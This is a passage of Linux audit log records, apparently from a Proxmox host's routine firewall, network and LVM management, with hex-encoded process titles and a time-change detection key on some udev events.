a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965054703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965054.703:63880): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740c940 a1=64f8d73ef2f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966284222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966284.222:69179): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965266071,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.071:64872): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965053504,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.504:63879): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfadb4340 a1=620c177f5ba0 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"zstd\" exe=\"/usr/bin/zstd\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966281.048:69178): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266065,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.065:64871): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965053377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.377:63877): arch=c000003e syscall=59 success=yes exit=0 a0=623218e5a9c8 a1=62323ffba740 a2=62323ffba798 a3=8 items=2 ppid=61317 pid=61318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"tc\" exe=\"/usr/sbin/tc\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966281.048:69177): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266060,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.060:64870): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965053374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.374:63876): arch=c000003e syscall=59 success=yes exit=0 a0=57c8a4622ac8 a1=7ffee4c30b90 a2=57c8af576680 a3=57c8a460624e items=2 ppid=61255 pid=61317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966281.048:69176): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266052,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.052:64869): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965053351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.351:63875): arch=c000003e syscall=59 success=yes exit=0 a0=575a9b34e9c8 a1=575ad9c79740 a2=575ad9c79798 a3=8 items=2 ppid=61315 pid=61316 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"tc\" exe=\"/usr/sbin/tc\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281040,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966281.040:69175): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266046,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.046:64868): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965053348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.348:63874): arch=c000003e syscall=59 success=yes exit=0 a0=57c8a4622ac8 a1=7ffee4c30b90 a2=57c8af576680 a3=57c8a460624e items=2 ppid=61255 pid=61315 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281040,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966281.040:69174): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266042,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.042:64867): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965053337,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.337:63873): arch=c000003e syscall=59 success=yes exit=0 a0=59e437bb27c0 a1=59e437bb2918 a2=59e437bb29a0 a3=8 items=2 ppid=61313 pid=61314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"tc\" exe=\"/usr/sbin/tc\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281040,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966281.040:69173): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266039,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.039:64866): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965053333,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.333:63872): arch=c000003e syscall=59 success=yes exit=0 a0=57c8a4622ac8 a1=7ffee4c30b90 a2=57c8af576680 a3=57c8a460624e items=2 ppid=61255 pid=61313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966276.033:69172): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266036,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.036:64865): argc=1 a0=\"date\""} {"@timestamp":1781965053301,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.301:63871): arch=c000003e syscall=59 success=yes exit=0 a0=59a0a115e718 a1=59a0a115e808 a2=59a0a115e9c8 a3=8 items=2 ppid=61311 pid=61312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"tc\" exe=\"/usr/sbin/tc\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966276.033:69171): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266032,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.032:64863): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965053291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.291:63870): arch=c000003e syscall=59 success=yes exit=0 a0=57c8a4622ac8 a1=7ffee4c30b90 a2=57c8af576680 a3=57c8a460624e items=2 ppid=61255 pid=61311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966276.033:69170): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266024,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.024:64862): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965053270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.270:63869): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e54d10 a1=57c8b2a668f0 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966276.023:69169): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266017,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.017:64861): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965053223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.223:63868): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e55370 a1=57c8af592340 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966276.023:69168): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266012,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.012:64860): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965053204,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.204:63867): arch=c000003e syscall=46 success=yes exit=40 a0=3 a1=7ffcb02fe640 a2=0 a3=0 items=0 ppid=61255 pid=61298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=(null)"} {"@timestamp":1781966276023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966276.023:69167): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965266004,"@rawstring":"node=pve type=EXECVE msg=audit(1781965266.004:64859): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965053198,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.198:63866): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e55070 a1=57c8b2e53070 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275593,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.593:69166): proctitle=\"ebtables-restore\""} {"@timestamp":1781965265996,"@rawstring":"node=pve type=EXECVE msg=audit(1781965265.996:64858): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965053192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.192:63865): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e55730 a1=57c8b2e4afb0 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.587:69165): proctitle=\"ebtables-restore\""} {"@timestamp":1781965264368,"@rawstring":"node=pve type=EXECVE msg=audit(1781965264.368:64857): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965053183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.183:63864): arch=c000003e syscall=46 success=yes exit=40 a0=3 a1=7ffd1b47e5d0 a2=0 a3=0 items=0 ppid=61255 pid=61290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=(null)"} {"@timestamp":1781966275583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.583:69164): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965264342,"@rawstring":"node=pve type=EXECVE msg=audit(1781965264.342:64856): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965053177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.177:63863): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e55490 a1=57c8af5ace60 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275579,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.579:69163): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965262358,"@rawstring":"node=pve type=EXECVE msg=audit(1781965262.358:64855): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965053171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.171:63862): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183d100 a1=5b65b18fc270 a2=5b65b1836a60 a3=0 items=2 ppid=61276 pid=61287 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemd-sysctl\" exe=\"/usr/lib/systemd/systemd-sysctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275578,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.578:69162): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965262350,"@rawstring":"node=pve type=EXECVE msg=audit(1781965262.350:64852): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965053167,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.167:63861): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e5ace0 a1=57c8b2e528f0 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275578,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.578:69161): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965257339,"@rawstring":"node=pve type=EXECVE msg=audit(1781965257.339:64849): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965053166,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.166:63860): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183d5c0 a1=5b65b183d100 a2=5b65b1836a60 a3=0 items=3 ppid=61276 pid=61286 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.573:69160): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965257333,"@rawstring":"node=pve type=EXECVE msg=audit(1781965257.333:64846): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965053164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.164:63859): arch=c000003e syscall=280 success=yes exit=0 a0=16 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61276 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781966275566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.566:69159): proctitle=69707365740073617665"} {"@timestamp":1781965255984,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.984:64843): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965053158,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.158:63858): arch=c000003e syscall=59 success=yes exit=0 a0=5808e72e4710 a1=5808c7cb2978 a2=5808e72e46b8 a3=0 items=2 ppid=61282 pid=61284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"realpath\" exe=\"/usr/bin/realpath\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275560,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.560:69158): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.978:64842): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965053157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.157:63857): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18fc270 a1=5b65b183aa00 a2=5b65b1841a90 a3=0 items=2 ppid=61261 pid=61283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemd-sysctl\" exe=\"/usr/lib/systemd/systemd-sysctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.554:69157): proctitle=\"ip6tables-save\""} {"@timestamp":1781965255978,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.978:64841): argc=1 a0=\"date\""} {"@timestamp":1781965053153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.153:63856): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e5b3a0 a1=57c8b4f95ab0 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.547:69156): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965255973,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.973:64839): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965053153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.153:63855): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183d100 a1=5b65b183a920 a2=5b65b185b760 a3=0 items=3 ppid=61276 pid=61282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"virtual-functio\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275538,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.538:69155): proctitle=\"iptables-save\""} {"@timestamp":1781965255967,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.967:64838): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965053151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.151:63854): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1835a30 a1=5b65b18fc270 a2=5b65b1841a90 a3=0 items=3 ppid=61261 pid=61280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.533:69154): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965255959,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.959:64837): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965053150,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.150:63853): arch=c000003e syscall=280 success=yes exit=0 a0=15 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781966275527,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.527:69153): proctitle=\"ip6tables-save\""} {"@timestamp":1781965255951,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.951:64836): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965053147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.147:63852): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e5b950 a1=57c8b4f95ab0 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61278 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.518:69152): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965255945,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.945:64835): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965053147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.147:63851): arch=c000003e syscall=59 success=yes exit=0 a0=589142609710 a1=589115ca5978 a2=5891426096b8 a3=0 items=2 ppid=61277 pid=61279 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"realpath\" exe=\"/usr/bin/realpath\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966275.512:69151): proctitle=\"iptables-save\""} {"@timestamp":1781965255939,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.939:64833): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965053145,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.145:63850): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b18fc270 a1=5b65b183aa00 a2=5b65b18563a0 a3=0 items=3 ppid=61261 pid=61277 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"virtual-functio\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966274150,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966274.150:69150): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965255932,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.932:64832): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965053120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.120:63849): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e5cd90 a1=57c8b2e53690 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966274125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966274.125:69149): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965255926,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.926:64831): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965053120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.120:63848): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183d100 a1=5b65b183aa00 a2=5b65b17f5dd0 a3=0 items=2 ppid=61261 pid=61273 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemd-sysctl\" exe=\"/usr/lib/systemd/systemd-sysctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966271.016:69148): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255922,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.922:64830): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965053118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.118:63847): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183d5c0 a1=5b65b183d100 a2=5b65b17f5dd0 a3=0 items=3 ppid=61261 pid=61272 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966271.016:69147): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255917,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.917:64829): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965053118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.118:63846): arch=c000003e syscall=280 success=yes exit=0 a0=15 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781966271016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966271.016:69146): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255911,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.911:64828): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965053114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.114:63845): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e5d4b0 a1=57c8b2ebe2b0 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined 